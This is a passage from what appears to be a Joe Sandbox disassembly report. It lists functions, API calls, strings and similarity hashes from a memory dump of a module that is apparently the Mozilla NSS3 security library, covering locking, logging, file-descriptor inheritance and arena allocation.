EnterCriticalSection.KERNEL32(?), ref: 6CC17D1B
realloc.MOZGLUE(-00000050), ref: 6CC17D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC17DF4
PR_Unlock.NSS3 ref: 6CC17E0E

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 477c73575f0d41b9df2d54a8218b730632085e49789f43da9c5523f80776d4fc
Instruction ID: 4b0aa5840180320a5c34db9d337fdead1f4460fe375d4a91554f9a44a7fc1b79
Opcode Fuzzy Hash: 477c73575f0d41b9df2d54a8218b730632085e49789f43da9c5523f80776d4fc
Instruction Fuzzy Hash: BC51F171A0C1059FEB00AF2BCC44A7577B9FB4631CF1541AAEE0487B61FB309995EBA1

Function 6CB84C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D97
PR_Lock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84DBA
PR_WaitCondVar.NSS3 ref: 6CB84DD4
PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84DEF

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 94a415b2d9258ef4d3c967b08b0f46b9e08142a32f5ab0b17c7695ba426a1cd0
Instruction ID: ef5cbe7c7c612e3ad85d425f9495b7667c5dd6b90b03c61e6b4e69614d871812
Opcode Fuzzy Hash: 94a415b2d9258ef4d3c967b08b0f46b9e08142a32f5ab0b17c7695ba426a1cd0
Instruction Fuzzy Hash: A1418CB5A05691CFDB00AFB9D498169BBBCFF09314F054669D9889B710E730D885CF92

Function 6CD17CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD17CE0

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD17D36
PR_Realloc.NSS3(?,00000080), ref: 6CD17D6D
PR_GetCurrentThread.NSS3 ref: 6CD17D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CD17DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD17DD8
malloc.MOZGLUE(00000080), ref: 6CD17DF8
PR_GetCurrentThread.NSS3 ref: 6CD17E06

Strings

:%s:%d:0x%lx, xrefs: 6CD17DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CD17DF0

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 2a7d048c948056736249d33822c6ea861f36d435bb4800e398495358b8012b00
Instruction ID: e05f6dac13236c1e79d2c4271749d54ca53d03ce65eecd590fb03abf8ac142a0
Opcode Fuzzy Hash: 2a7d048c948056736249d33822c6ea861f36d435bb4800e398495358b8012b00
Instruction Fuzzy Hash: 8341D5B1614205EFDB04CF28EC8096B3BA6FF85318B26456CE8198BF71D731E845CBA1

Function 6CD17E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD17E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CD17E46

Part of subcall function 6CBF1240: TlsGetValue.KERNEL32(00000040,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1267
Part of subcall function 6CBF1240: EnterCriticalSection.KERNEL32(?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF127C
Part of subcall function 6CBF1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1291
Part of subcall function 6CBF1240: PR_Unlock.NSS3(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CD17EAF
PR_ImportFile.NSS3(?), ref: 6CD17ECF
PR_GetCurrentThread.NSS3 ref: 6CD17ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CD17F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CD17F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CD17F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CD17E41
%d:0x%lx, xrefs: 6CD17EA9

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: d9c372917f774e65cbc4c31a6ec2a36efbdd63680bcb769f01cb9621fbc3c0f8
Instruction ID: 660fbbf9ec02936bff479722189321ff4fc841be34c8e087ada23d128b58c48d
Opcode Fuzzy Hash: d9c372917f774e65cbc4c31a6ec2a36efbdd63680bcb769f01cb9621fbc3c0f8
Instruction Fuzzy Hash: 21312570A08116EBEB009B68E840AABB7F8BB46348F120525E84593E31E761DD08CB92

Function 6CC4ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CC4DE64), ref: 6CC4ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC4ED22

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

PL_FreeArenaPool.NSS3(?), ref: 6CC4ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CC4ED6B
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC4ED38

Part of subcall function 6CB84C70: TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
Part of subcall function 6CB84C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
Part of subcall function 6CB84C70: PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CC4ED52
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC4ED83
PL_FreeArenaPool.NSS3(?), ref: 6CC4ED95
PL_FinishArenaPool.NSS3(?), ref: 6CC4ED9D

Part of subcall function 6CC664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CC6127C,00000000,00000000,00000000), ref: 6CC6650E

Strings

security, xrefs: 6CC4ED06

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dbc4e7a8c2096677f763585e38c99d0a59e144c77e4c798aff810ec766ac807f
Instruction ID: 321c17f18eeb641e407a55c086a9f840a8be909ecb3d094055850bc2418d65cf
Opcode Fuzzy Hash: dbc4e7a8c2096677f763585e38c99d0a59e144c77e4c798aff810ec766ac807f
Instruction Fuzzy Hash: 3C113676D006146BE710D727ADC4BBBB27CAF4270DF028568E844A2E51FB34A51CCAE7

Function 6CC32CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CC32CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC32D07

Part of subcall function 6CD109D0: PR_Now.NSS3 ref: 6CD10A22
Part of subcall function 6CD109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD10A35
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD10A66
Part of subcall function 6CD109D0: PR_GetCurrentThread.NSS3 ref: 6CD10A70
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD10A9D
Part of subcall function 6CD109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD10AC8
Part of subcall function 6CD109D0: PR_vsmprintf.NSS3(?,?), ref: 6CD10AE8
Part of subcall function 6CD109D0: EnterCriticalSection.KERNEL32(?), ref: 6CD10B19
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD10B48
Part of subcall function 6CD109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD10C76
Part of subcall function 6CD109D0: PR_LogFlush.NSS3 ref: 6CD10C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC32D22

Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(?), ref: 6CD10B88
Part of subcall function 6CD109D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD10C5D
Part of subcall function 6CD109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD10C8D
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10C9C
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(?), ref: 6CD10CD1
Part of subcall function 6CD109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD10CEC
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10CFB
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD10D16
Part of subcall function 6CD109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD10D26
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10D35
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD10D65
Part of subcall function 6CD109D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD10D70
Part of subcall function 6CD109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD10D90
Part of subcall function 6CD109D0: free.MOZGLUE(00000000), ref: 6CD10D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC32D3B

Part of subcall function 6CD109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD10BAB
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10BBA
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CC32D54

Part of subcall function 6CD109D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD10BCB
Part of subcall function 6CD109D0: EnterCriticalSection.KERNEL32(?), ref: 6CD10BDE
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(?), ref: 6CD10C16

Strings

pPin = 0x%p, xrefs: 6CC32D1D
ulPinLen = %d, xrefs: 6CC32D36
slotID = 0x%x, xrefs: 6CC32D02
pLabel = 0x%p, xrefs: 6CC32D4F
C_InitToken, xrefs: 6CC32CE7

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: b72ee8ecb502acd6f064f4dd5c3899b7e9d2fa0b6a0098a9bd7e950453df6edc
Instruction ID: 00e58c814046eedab7c3594d358107294c5f794dbc7aab1ce0b0adcd5e4905af
Opcode Fuzzy Hash: b72ee8ecb502acd6f064f4dd5c3899b7e9d2fa0b6a0098a9bd7e950453df6edc
Instruction Fuzzy Hash: 9821C175200150AFFF01AB55EC5CA693BB9EB4239DF484051F60897A32EB74985CCBF1

Function 6CD10EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CBF2357), ref: 6CD10EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CBF2357), ref: 6CD10EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD10EE6

Part of subcall function 6CD109D0: PR_Now.NSS3 ref: 6CD10A22
Part of subcall function 6CD109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD10A35
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD10A66
Part of subcall function 6CD109D0: PR_GetCurrentThread.NSS3 ref: 6CD10A70
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD10A9D
Part of subcall function 6CD109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD10AC8
Part of subcall function 6CD109D0: PR_vsmprintf.NSS3(?,?), ref: 6CD10AE8
Part of subcall function 6CD109D0: EnterCriticalSection.KERNEL32(?), ref: 6CD10B19
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD10B48
Part of subcall function 6CD109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD10C76
Part of subcall function 6CD109D0: PR_LogFlush.NSS3 ref: 6CD10C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD10EFA

Part of subcall function 6CBFAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBFAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CD10ED9, 6CD10EE5, 6CD10F06, 6CD10F0B
Aborting, xrefs: 6CD10EB3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: ce0a3ac707acee5aba2407f522997aff5d0aaa6f0355b6b6861beb0a6d343482
Instruction ID: dcecf2f31af17a54c68a632a6eebdea1523a57f64b9d52c75f57fa65dcac4aaf
Opcode Fuzzy Hash: ce0a3ac707acee5aba2407f522997aff5d0aaa6f0355b6b6861beb0a6d343482
Instruction Fuzzy Hash: 9AF04FB59001147BEA017B60AC4AC9B3E2DDF8A6A4F444424FE0996722DA36E92497F2

Function 6CC74DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CC74DCB

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CC74DE1

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CC74DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC74E59

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD3300C,00000000), ref: 6CC74EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CC74EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CC74F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC7521A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: c59368a74efae382974db194090844cdaf4699c27faaf129eb870619eb63830a
Instruction ID: d61ce2d99902b5cb039b89e31eef3dd23d84d0b501920a44e18c40ff1f38a253
Opcode Fuzzy Hash: c59368a74efae382974db194090844cdaf4699c27faaf129eb870619eb63830a
Instruction Fuzzy Hash: 5FF17A71E00209CBDB14CF59D8407AEB7B2FF45358F258169E915ABB81E735E982CFA0

Function 6CC8CFA0 Relevance: 16.7, APIs: 11, Instructions: 212threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_EnterMonitor.NSS3(?), ref: 6CC8CFFC

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

PR_GetCurrentThread.NSS3 ref: 6CC8D011
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC8D08E
PR_GetCurrentThread.NSS3 ref: 6CC8D109
PR_EnterMonitor.NSS3(?), ref: 6CC8D182
PR_ExitMonitor.NSS3(?), ref: 6CC8D1B9
PR_SetError.NSS3(00000000,00000000), ref: 6CC8D1D8
PR_ExitMonitor.NSS3(?), ref: 6CC8D1EC
PR_GetCurrentThread.NSS3 ref: 6CC8D224
PR_ExitMonitor.NSS3(?), ref: 6CC8D245
PR_SetError.NSS3(FFFFD036,00000000), ref: 6CC8D270

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$CurrentEnterErrorExitThreadValue$CriticalSection$IdentitiesLayerLeave
String ID:
API String ID: 3829233501-0
Opcode ID: 35b3d709a601e3b9cfab366fba0685ea0dc9a9959f17d8ebaa9cc15cc53d9b75
Instruction ID: 0ff691c30e2adb375754b1f286f2e11e1afd6727cf8f8e1d502b6f959b7407fd
Opcode Fuzzy Hash: 35b3d709a601e3b9cfab366fba0685ea0dc9a9959f17d8ebaa9cc15cc53d9b75
Instruction Fuzzy Hash: 08711DB09061169BDF109F25DC80BDB3FB4AF0132DF140176ED059AA96F336C995C792

Function 6CCAAD70 Relevance: 16.7, APIs: 11, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCAADB9
PORT_ZAlloc_Util.NSS3(00000040), ref: 6CCAADDA
PR_NewMonitor.NSS3 ref: 6CCAADF1
PK11_KeyGen.NSS3 ref: 6CCAAE43
memset.VCRUNTIME140(?,000000FF,00000001), ref: 6CCAAEBC
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCAAEF4
PR_DestroyMonitor.NSS3(?), ref: 6CCAAF19
PK11_FreeSymKey.NSS3(?), ref: 6CCAAF2B
free.MOZGLUE(00000001), ref: 6CCAAF4A
free.MOZGLUE(?), ref: 6CCAAF67
free.MOZGLUE(?), ref: 6CCAAF71

Memory Dump Source

